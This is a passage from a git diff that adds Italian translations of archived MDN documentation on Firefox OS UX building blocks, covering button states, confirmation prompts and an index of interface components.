+      <td><img alt="" src="https://mdn.mozillademos.org/files/4683/btn-delete-disabled.jpg" style="width: 140px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<p>Su sfondo scuro i bottoni disabilitati possono avere un aspetto diverso, simile all'immagine sotto.</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Primary action</th>
+      <th scope="col">Secondary action</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Disabled</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4701/btn-primary-disabled-dark.jpg" style="width: 140px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4703/btn-secondary-disabled-dark.jpg" style="width: 140px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Bottoni_lista">Bottoni lista</h3>
+<p>Usato quando deve essere visualizzata una lista di azioni o per visualizzare un selettore.</p>
+<h4 id="Innescare_azioni">Innescare azioni</h4>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Trigger an action in the current view</th>
+      <th scope="col">Trigger an action in a new view</th>
+      <th scope="col">Display a value selector</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Normal</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4725/btn-trigger-current-normal.png" style="width: 291px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4731/btn-trigger-new-normal.png" style="width: 290px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4743/btn-trigger-selector-normal.png" style="width: 291px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Pressed</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4727/btn-trigger-current-pressed.png" style="width: 291px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4733/btn-trigger-new-pressed.png" style="width: 289px; height: 39px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4745/btn-trigger-selector-pressed.png" style="width: 291px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Disabled</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4723/btn-trigger-current-disabled.png" style="width: 290px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4729/btn-trigger-new-disabled.png" style="width: 290px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4741/btn-trigger-selector-disabled.png" style="width: 291px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h4 id="Selettori">Selettori</h4>
+<p>Una volta aperto deve essere premuto uno dei valori proposti per chiuderlo. Un selettore ha questo aspetto:</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Normal</th>
+      <th scope="col">Pressed</th>
+      <th scope="col">Disabled</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4755/btn-selector-normal.png" style="width: 269px; height: 39px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4757/btn-selector-pressed.png" style="width: 269px; height: 39px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4753/btn-selector-disabled.png" style="width: 269px; height: 39px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Bottoni_per_l'input">Bottoni per l'input</h3>
+<p>Usati quando è richiesto un input da associare all'azione.</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Normal</th>
+      <th scope="col">Pressed</th>
+      <th scope="col">Disabled</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4761/input-field-normal.png" style="width: 320px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4763/input-field-pressed.png" style="width: 320px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4759/input-field-disabled.png" style="width: 320px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Bottoni_speciali">Bottoni speciali</h3>
+<p>I bottoni speciali sono bottoni usati per scopi speciali come usare la macchina fotografica del dispositivo, rispondere e effettuare una chiamata  e accedere al tastierino numerico. Naturalmente puoi usare questi bottoni per altri scopi.</p>
+<h4 id="Bottone_fotovideo">Bottone foto/video</h4>
+<p>Questo bottone non ha uno stato disabilitato, se non è possibile fare foto non dovresti semplicemente mostrarlo.</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Record video</th>
+      <th scope="col">Stop recording video</th>
+      <th scope="col">Capture photo</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Normal</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4771/video-record-normal.png" style="width: 100px; height: 45px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4775/video-stop-normal.png" style="width: 100px; height: 45px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4767/camera-normal.png" style="width: 100px; height: 45px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Pressed</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4773/video-record-pressed.png" style="width: 100px; height: 45px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4777/video-stop-pressed.png" style="width: 100px; height: 45px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4769/camera-pressed.png" style="width: 100px; height: 45px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h4 id="Bottoni_telefono">Bottoni telefono</h4>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Pick up</th>
+      <th scope="col">Hang up</th>
+      <th scope="col">Hide keypad</th>
+    </tr>
+    <tr>
+      <th scope="row">Normal</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4781/phone-answer-normal.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4787/phone-hangup-normal.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4793/hide-dialer-normal.png" style="width: 130px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Pressed</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4783/phone-answer-pressed.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4789/phone-hangup-pressed.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4795/hide-dialer-pressed.png" style="width: 130px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Disabled</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4779/phone-answer-disabled.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4785/phone-hangup-disabled.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4791/hide-dialer-disabled.png" style="width: 130px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h4 id="Bottoni_personalizzati">Bottoni personalizzati</h4>
+<p>Esempi di bottoni personalizzati per aggiungere un contatto alla rubrica.</p>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <th scope="row">Normal</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4799/generic-normal.png" style="width: 90px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Pressed</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4801/generic-pressed.png" style="width: 90px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Disabled</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4797/generic-disabled.png" style="width: 90px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Esperienza utente Firefox OS</a></li>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Creare una gui con bottoni</a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/ux/building_blocks/conferme/index.html b/files/it/archive/b2g_os/ux/building_blocks/conferme/index.html
new file mode 100644
index 0000000000..5e1bac0d82
--- /dev/null
+++ b/files/it/archive/b2g_os/ux/building_blocks/conferme/index.html
@@ -0,0 +1,87 @@
+---
+title: Conferme
+slug: Archive/B2G_OS/UX/Building_blocks/Conferme
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Confirmation
+---
+<p>Una richiesta di conferma chiede all'utente conferma per una scelta, come garantire o annullare i permessi di un'app, o fornisce istruzioni per eseguire un'azione, come richiedere all'utente di riavviare il dispositivo dopo aver cambiato SIM. Vedi la <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding">Guida allo sviluppo</a> per informazioni su come implementare queste richieste nella tua app.</p>
+<h2 id="Caratteristiche">Caratteristiche</h2>
+<ul>
+  <li>Le richieste di conferma sono modali; occupano l'intero schermo ed è richiesta l'interazione con l'utente per chiuderle.</li>
+  <li>Le richieste di conferma hanno questa struttura:
+    <ul>
+      <li>Titolo (facoltativo)</li>
+      <li>Corpo</li>
+      <li>Icona (facoltativo)</li>
+      <li>Un bottone di conferma con testo, che può essere personalizzato nel testo</li>
+      <li>Un bottone annulla facoltativo, che può essere personalizzato nel testo</li>
+    </ul>
+  </li>
+</ul>
+<h2 id="Aspetto">Aspetto</h2>
+<p>Ecco alcuni esempi di come devono apparire le richieste di conferma.</p>
+<table class="fxosScreenGrid">
+  <tbody>
+    <tr>
+      <td style="vertical-align: top;">
+        <h3 id="Normale">Normale</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4805/default.png"></p>
+        <p>Un elemento {{HTMLElement("h1")}} è usato per dare il titolo "Confirmation" alla richiesta. Il <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button">bottone</a> Delete ha come classe "delete" per mostrarlo come richiesto nelle linee guida della GUI.</p>
+      </td>
+      <td style="vertical-align: top;">
+        <h3 id="Con_elementi_nel_corpo">Con elementi nel corpo</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4811/with-content.png"></p>
+        <p>In questo esempio  è stato usato un corpo con immagini  e testo e relativi stili. Al bottone "Action" è stata applicata la Classe "recommend"  per indicare che è il bottone da premere per continuare a svolgere l'azione per cui si chiede conferma all'utente.</p>
+      </td>
+    </tr>
+    <tr>
+      <td style="vertical-align: top;">
+        <h3 id="Senza_titolo">Senza titolo</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4807/confirm-without-title.png"></p>
+        <p>Esattamente come l'esempio precedente ma senza l'elemento{{HTMLElement("h1")}} a creare il titolo della richiesta.</p>
+      </td>
+      <td style="vertical-align: top;">
+        <h3 id="In_modalità_modifica">In modalità modifica</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4809/edit-mode.png" style="width: 320px; height: 480px;">Va</p>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Variazioni_sul_tema">Variazioni sul tema</h2>
+<p>Le varianti possibili sono quelle elencate sopra nella sezione aspetto. Questo schema semplificato ti aiuterà a capire quali sono i componenti di una richiesta di conferma e a vedere che hai il controllo su ciò che apparirà nei tuoi layout e nei contenuti.</p>
+<table class="fxosScreenGrid">
+  <tbody>
+    <tr>
+      <td style="vertical-align: top;">
+        <h3 id="Richiesta_di_permessi">Richiesta di permessi</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4813/confirm-prompt-permissions.png" style="width: 376px; height: 578px;"></p>
+        <p>In questo esempio le icone ed il titolo sono usate per identificare l'app che richiede i permessi e che permessi vuole.</p>
+        <p>Il testo nel corpo pagina deve fornire dettagli su ciò che l'app vuole fare con i permessi ed i dati dell'utente.</p>
+      </td>
+      <td style="vertical-align: top;">
+        <h3 id="Richesta_di_conferma_per_azioni">Richesta di conferma per azioni</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4819/confirm-prompt-action-confirm.png" style="width: 327px; height: 578px;"></p>
+        <p>Esempio molto semplice di richiesta di conferma; la richiesta pone una domanda all'utente che deve risponedere, non c'è il titolo.</p>
+      </td>
+    </tr>
+    <tr>
+      <td style="vertical-align: top;">
+        <h3 id="Richiesta_conferma_per_azione">Richiesta conferma per azione</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4817/confirm-prompt-action-confirm-2.png" style="width: 329px; height: 578px;"></p>
+        <p>Un esempio più completo per la conferma di un'azione con titolo ed icona.</p>
+      </td>
+      <td style="vertical-align: top;"> </td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Interazione">Interazione</h2>
+<h4 id="Cancellare_messaggi">Cancellare messaggi</h4>
+<p>In questo esempio una richiesta viene fatta all'utente per chiedere se è certo di voler cancellare i messaggi selezionati dalla lista delle email. Toccando il bottone "delete" verrà mostrato il messaggio di richiesta di conferma; i messaggi verranno cancellati soltanto se l'utente tocca il bottone "Delete" nella richiesta di conferma.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4821/confirm-delete-messages.png" style="width: 739px; height: 1200px;"></p>
+<h3 id="Confermare_una_richiesta_di_privilegipermessi">Confermare una richiesta di privilegi/permessi</h3>
+<p>In questo esempio l'utente apre per la la prima volta un'app che richiede i permessi per usare le API di  <a href="/en-US/docs/Using_geolocation" title="/en-US/docs/Using_geolocation">geolocalizzazione.</a> Poichè l'app richiede questi permessi per funzionare li chiede immediatamente. Quando l'utente tocca il bottone "Don't Allow" ( che nega il permesso all'app di usare i servizi di geolocalizzazione) o "Allow" (che invece concede i permessi) la richiesta viene chiusa e la scelta dell'utente ha effetto</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4823/confirm-permission.png">Nota che questo esempio include una <em>checkbox</em> nella richiesta per salvare la scelta dell'utente in modo che non venga fatta la stessa  richiesta in futuro dalla stessa app.</p>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding">Guida allo sviluppo delle richieste di conferma</a></li>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Eseperienza utente in Firefox OS</a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/ux/building_blocks/index.html b/files/it/archive/b2g_os/ux/building_blocks/index.html
new file mode 100644
index 0000000000..98d5964764
--- /dev/null
+++ b/files/it/archive/b2g_os/ux/building_blocks/index.html
@@ -0,0 +1,528 @@
+---
+title: Firefox OS UX building blocks
+slug: Archive/B2G_OS/UX/Building_blocks
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x
+---
+<p>Qui troverai le specifiche e le descrizioni degli elementi per l'interfaccia delle app di Firefox OS insieme ad esempi e modelli di come dovrebbero apparire e funzionare.</p>
+
+<table class="withoutBorder">
+ <tbody>
+  <tr>
+   <td colspan="2">
+    <h2 id="Menu_delle_azioni">Menu delle azioni</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top; width: 180px;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4635/action-menu.png" style="height: 240px; width: 160px;"><br>
+      <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Bottoni">Bottoni</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4639/secondary-buttons.png" style="height: 139px; width: 140px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Conferme">Conferme</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4803/confirmation-example.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Filtri">Filtri</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4825/filter-visual-bottom" style="height: 241px; width: 161px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Titoli">Titoli</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4845/header-default.png" style="height: 27px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Header">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Header/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Aree_di_input">Aree di input</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4859/sample-sms-bottom-input.png" style="height: 241px; width: 161px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Liste">Liste</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4889/list-example" style="height: 119px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/List">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/List/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Menu_a_oggetti">Menu a oggetti</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4891/object-menu-idle.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Object_menu">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Indicatori_di_attività_e_barre_di_progresso">Indicatori di attività e barre di progresso</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4897/progress-bar-example.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Progress_and_activity">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Progress_and_activity/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Scrolling">Scrolling</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4917/scrolling-index-scroll-dark.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Scrolling">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Scrolling/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Seek_bar">Seek bar</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4923/seekbar-sample.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Seek_bar">Dettagli</a><br>
+     <a href="/it/docs/Mozilla/Firefox_OS/UX/Building_blocks/Seek_bar/Coding">Esempi e guide</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Qui troverai le specifiche e le descrizioni degli elementi per l'interfaccia delle app di Firefox OS insieme ad esempi e modelli di come dovrebbero apparire e funzionare.</p>
+
+    <table class="withoutBorder">
+     <tbody>
+      <tr>
+       <td colspan="2">
+        <h2 id="Menu_delle_azioni_2">Menu delle azioni</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top; width: 180px;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4635/action-menu.png" style="height: 240px; width: 160px;"><br>
+          <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Button">Button</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4639/secondary-buttons.png" style="height: 139px; width: 140px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Conferme_2">Conferme</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4803/confirmation-example.png" style="height: 240px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Filtri_2">Filtri</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4825/filter-visual-bottom" style="height: 241px; width: 161px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Titoli_2">Titoli</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4845/header-default.png" style="height: 27px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Header">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Header/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Aree_di_input_2">Aree di input</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4859/sample-sms-bottom-input.png" style="height: 241px; width: 161px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Liste_2">Liste</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4889/list-example" style="height: 119px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/List">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/List/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Menu_a_oggetti_2">Menu a oggetti</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4891/object-menu-idle.png" style="height: 240px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Object_menu">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Indicatori_di_attività_e_barre_di_progresso_2">Indicatori di attività e barre di progresso</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4897/progress-bar-example.png" style="height: 240px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Progress_and_activity">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Progress_and_activity/Coding">Esempi e guide</a></p>
+       </td>
+       <td style="vertical-align: top;">
+        <p> </p>
+       </td>
+      </tr>
+      <tr>
+       <td colspan="2" style="vertical-align: top;">
+        <h2 id="Scrolling_2">Scrolling</h2>
+       </td>
+      </tr>
+      <tr>
+       <td style="vertical-align: top;">
+        <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4917/scrolling-index-scroll-dark.png" style="height: 240px; width: 160px;"></p>
+
+        <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Scrolling">Dettagli</a><br>
+         <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Scrolling/Coding">Esempi e guide</a></p>
+       </td>
